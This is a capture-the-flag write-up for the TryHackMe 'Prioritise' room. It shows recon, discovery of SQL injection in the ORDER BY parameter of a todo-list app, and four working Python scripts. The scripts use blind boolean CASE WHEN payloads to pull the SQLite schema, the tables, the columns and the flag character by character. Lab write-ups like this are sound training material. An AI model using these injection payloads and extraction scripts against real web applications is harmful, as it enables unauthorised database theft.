# Prioritise

{% embed url="<https://tryhackme.com/room/prioritise>" %}

## Recon&#x20;

```
┌──(kali㉿kali)-[~/Documents/tryhackme/prioritise]
└─$ nmap -sT 10.10.146.190    
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-17 21:13 EDT
Nmap scan report for 10.10.146.190
Host is up (0.052s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.88 seconds

```

The Website greets us with a todo list, with the options to add entries, delete entries and sorting those by status, date or title.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FeqUdjqvbzV12KjfettH5%2Fimage.png?alt=media&#x26;token=17e4449f-c4f1-4a57-839e-21a7c6d67c29" alt=""><figcaption></figcaption></figure>

```
POST /new HTTP/1.1
Host: 10.10.146.190
Content-Length: 37
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.146.190
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.146.190/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

title=hello+world&date=05%2F25%2F2023
```

```
GET /?order=title HTTP/1.1
Host: 10.10.146.190
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.146.190/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```

### Checking sqli on order by&#x20;

{% hint style="info" %}
<https://portswigger.net/support/sql-injection-in-the-query-structure>
{% endhint %}

Guessing the table todos with the column date reveals that the order by function is injectiable, by using the following two sql statements which evaluates and sorting the entries either way by title or date

```
(CASE WHEN(SELECT date FROM todos WHERE date IS NOT NULL) THEN title ELSE date END)
(CASE WHEN(SELECT date FROM todos WHERE date IS NOT NULL) THEN date ELSE title END)
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmPD9tFCcxEDjM9nrXyNI%2Fimage.png?alt=media&#x26;token=64657e46-d2f9-45bf-9974-4f8064ea79e1" alt=""><figcaption></figcaption></figure>

### To find the flag, try to get the sql schemata

Frist of all check the used database

Oracle Server Error 500

`(CASE WHEN(SELECT table_name FROM dba_tables WHERE table_name IS NOT NULL) THEN date ELSE title END)`

MySQL Server Error 500

`(CASE WHEN(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME IS NOT NULL) THEN date ELSE title END)`

SQLITE executes without a Server Error

`(CASE WHEN(SELECT name FROM sqlite_schema WHERE name not null) THEN date ELSE title END)`

To get the sql schemata we guess the characters leading to the case ordered by the title.

To avoid special characters like `\n CHAR(10)` `\r CHAR(13)` `\t CHAR(9)` those will be replace by `+` and `-`.

Dont forget to use `group_concat` to receive not just the first entry.

This Script failed unfortunatly, because it stopped due to a character which was not in `probe`, maybe a special character I did not consider.&#x20;

{% hint style="info" %}
`SELECT sql FROM SQLITE_SCHEMA`
{% endhint %}

```python
import requests

# create an entry with title of 'a' and a date greater than the next entry
# create an entry with title of 'z' and a date smaler than the previous entry
# https://portswigger.net/support/sql-injection-in-the-query-structure

valid = 'a'

probe = '+-{}(), abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
host= "http://10.10.146.190/?order="

result = ''
pos = 1

while True:
	for elem in probe:
		query = "(CASE WHEN(SELECT SUBSTRING(replace(replace(replace(group_concat(sql), CHAR(10),'+'),CHAR(13),'+'),CHAR(9),'-'),1,{pos}) from sqlite_schema)='{sub}' THEN title ELSE date END)".format(pos=pos, sub=result+elem)
		response = requests.get(host+query)
		text = response.text
		val = text.splitlines()[95].strip()
		if(val == valid):
			result += elem
			pos += 1
			break
		if(elem == probe[-1]):
			print('\033[K')
			print(result)
			exit()
		if(elem != "\n"):
			print(result+elem,end='\r')
```

```
┌──(kali㉿kali)-[~/Documents/tryhackme/prioritise]
└─$ python3 enum_db.py

CREATE+TABLE+todos+(+-id+INTEGER+NOT+NULL,++-title+VARCHAR(40),++-done+BOOLEAN,++-date+DATE,++-PRIMARY+KEY+(id),++-UNIQUE+(title)+),CREATE+TABLE+

```

But there is another way to enumerate the db, by just getting the tables of the database:

{% hint style="info" %}
`SELECT NAME FROM SQLITE_SCHEMA WHERE TYPE = 'table' AND NAME NOT LIKE 'sqlite_%'`
{% endhint %}

```python
import requests

# create an entry with title of 'a' and a date greater than the next entry
# create an entry with title of 'z' and a date smaler than the previous entry

valid = 'a'

probe = '+-{}(), abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
host= "http://10.10.146.190/?order="

result = ''
pos = 1

while True:
	for elem in probe:
		query = "(CASE WHEN(SELECT SUBSTRING(replace(replace(replace(replace(group_concat(name), CHAR(10),'+'),CHAR(13),'+'),CHAR(9),'-'),CHAR(8),'-'),1,{pos}) from sqlite_schema WHERE TYPE ='table' AND NAME NOT LIKE 'sqlite_%')='{sub}' THEN title ELSE date END)".format(pos=pos, sub=result+elem)
		response = requests.get(host+query)
		text = response.text
		val = text.splitlines()[95].strip()
		if(val == valid):
			result += elem
			pos += 1
			break
		if(elem == probe[-1]):
			print('\033[K')
			print(result)
			exit()
		if(elem != "\n"):
			print(result+elem,end='\r')
```

```
┌──(kali㉿kali)-[~/Documents/tryhackme/prioritise]
└─$ python3 enum_tables.py 

todos,flag

```

There we have a table named `flag`. Lets enumerate its columns

{% hint style="info" %}
`SELECT name FROM PRAGMA_TABLE_INFO('table_name')`
{% endhint %}

```python
import requests

# create an entry with title of 'a' and a date greater than the next entry
# create an entry with title of 'z' and a date smaler than the previous entry

valid = 'a'

probe = '+-{}(), abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
host= "http://10.10.146.190/?order="

result = ''
pos = 1

while True:
	for elem in probe:
		query = "(CASE WHEN(SELECT SUBSTRING(replace(replace(replace(replace(group_concat(name), CHAR(10),'+'),CHAR(13),'+'),CHAR(9),'-'),CHAR(8),'-'),1,{pos}) from PRAGMA_TABLE_INFO('flag'))='{sub}' THEN title ELSE date END)".format(pos=pos, sub=result+elem)
		response = requests.get(host+query)
		text = response.text
		val = text.splitlines()[95].strip()
		if(val == valid):
			result += elem
			pos += 1
			break
		if(elem == probe[-1]):
			print('\033[K')
			print(result)
			exit()
		if(elem != "\n"):
			print(result+elem,end='\r')


```

```
┌──(kali㉿kali)-[~/Documents/tryhackme/prioritise]
└─$ python3 enum_columns.py 

flag

```

## Getting the flag

So we know now, that the table flag, contains a field named flag, which might contains the flag...

```python
import requests

# create an entry with title of 'a' and a date greater than the next entry
# create an entry with title of 'z' and a date smaler than the previous entry
# https://portswigger.net/support/sql-injection-in-the-query-structure

valid = 'a'
probe = '{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 '
host= "http://10.10.146.190/?order="

result = ''
pos = 1

while True:
	for elem in probe:
		query = "(CASE WHEN(SELECT SUBSTRING(flag,1,{pos}) from flag)='{sub}' THEN title ELSE date END)".format(pos=pos, sub=result+elem)
		response = requests.get(host+query)
		text = response.text
		val = text.splitlines()[95].strip()
		if(val == valid):
			result += elem
			pos += 1
			break
		if(elem == probe[-1]):
			print('\033[K')
			print(result)
			exit()
		print(result+elem,end='\r')
```

![](https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtdlE05QcvNQuGm132BjA%2Fimage.png?alt=media\&token=9961a933-937c-4a2e-9d0d-c24c3a4ecdec)
